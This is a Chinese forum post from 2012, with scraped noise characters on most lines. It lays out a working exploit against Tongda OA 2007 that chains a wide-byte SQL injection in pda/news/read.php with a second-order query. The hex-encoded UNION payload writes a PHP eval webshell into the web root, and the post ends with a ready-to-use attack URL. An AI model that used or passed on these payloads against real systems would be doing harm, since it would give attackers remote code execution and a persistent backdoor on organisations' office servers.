目前测试通达OA2007版本' E" ]1 L. ?0 U3 ]! {
3 n: }" w D1 t# J* L
+ x* o* V3 f; |/ t. _5 r: n
Office Anywhere 2007 网络智能办公系统
3 n, I7 R+ a: n; N* C
% ~- I1 T, @) q9 K0 z; A% ?; r% mhttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
1 ?- t3 J, s; z A0 @ T8 Y. \1 P3 I1 a: g$ f
' x. I& F& j& i* p0 p( |1 _
这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的) X2 z0 g% R8 J: \
* |2 q8 M4 [, u: ?, {) ]例如：SELECT * from USER where USER_ID='{$USERNAME}' 4 V- F; I$ O* c
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了
( d- t$ Z2 B; L0 {& z, S & p K: r- x1 Y2 s
这个时候我们是不是可以组合起来使用哪？
; r! a9 D4 Q& W" q" I4 B% f1 W ! n" M/ K/ T5 Z: Z4 F9 c
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样9 T: P4 S) u: C( u- B
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
7 ]% d5 }! ]; B 1 D$ v% G) w) E$ n
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了) c, c5 M: |; B1 v ]
. p) z, M" @, ?6 D& K那么问题来了，单引号可以吗？当然是不可以的，^_^。。。1 w" |0 |: d0 `/ t" }! B
1 h6 r& @2 W7 G: ]$ }那么我们用字符串格式带入进行hex编码/ D1 n$ A( x7 L4 }' F; ^& K% B
+ G n Y/ H H%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
+ \9 R! N; T! C$ V3 @" ?
9 v9 A5 \2 o- ], \0 D( P测试ok，获取oa的webshell
2 f& K0 K$ W. v ) I5 M# K/ v6 J! ?' \
6 w5 w+ E, ^0 n$ |$ ]/ z, V
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
! {. o t" Y3 B) c0 I6 J直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对